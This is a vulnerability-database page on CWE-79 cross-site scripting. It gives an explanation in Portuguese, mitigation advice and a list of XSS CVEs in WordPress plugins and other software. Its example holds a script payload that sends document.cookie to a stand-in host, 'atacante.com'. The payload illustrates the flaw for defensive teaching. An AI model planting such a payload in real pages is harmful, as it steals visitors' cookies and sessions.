Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-35752MEDIUMWordPress Stellissimo Text Box plugin 1.1.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-30569MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located iEPSS 0.3%CVE-2026-18197MEDIUMImproper neutralization of input during web page generation ('cross-site scripting') vulnerability in Link Library allows Cross-Site ScriptiEPSS 0.3%CVE-2024-40124MEDIUMPydio Core <= 8.2.5 is vulnerable to Cross Site Scripting (XSS) via the New URL Bookmark feature.EPSS 0.3%CVE-2025-31427HIGHWordPress Invico - WordPress Consulting Business Theme <= 1.9 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-46500HIGHWordPress Wordpress Auto Spinner plugin <= 3.26.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-86794HIGHCommunity Events 1.4.9 - 1.5.9 - Unauthenticated Stored XSS via Event Submission FormEPSS 0.3%CVE-2026-88905HIGHKeyWord Collector <= 1.4 - Unauthenticated Stored XSS and Settings Update via WPKeyWordSettingsEPSS 0.3%CVE-2026-82546MEDIUMApache Roller: Stored cross-site scripting through incoming Trackback linksEPSS 0.3%CVE-2026-5301HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in coolercontrol-uiEPSS 0.3%CVE-2025-47652HIGHWordPress Infility Global plugin <= 2.13.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31058HIGHWordPress Revolution Video Player plugin <= 2.9.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-39970HIGHTypeBot: Stored Cross-Site Scripting (XSS) via SVG File Upload On Profile Picture FormEPSS 0.3%CVE-2025-25096MEDIUMWordPress RSS in Page plugin <= 2.9.1 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-0693MEDIUMAllow HTML in Category Descriptions <= 1.2.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via Category DescriptionsEPSS 0.3%CVE-2025-30955HIGHWordPress ListingEasy theme <= 1.9.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-44037MEDIUMWordPress Multipurpose Ticket Booking Manager plugin <= 4.2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47524MEDIUMWordPress Quran multilanguage Text & Audio plugin <= 2.3.23 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-47372MEDIUMWordPress TNC PDF viewer plugin <= 3.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-1905MEDIUMSphere Manager <= 1.0.2 - Authenticated (Contributor+) Cross-Site Scripting via 'width' Shortcode AttributeEPSS 0.3%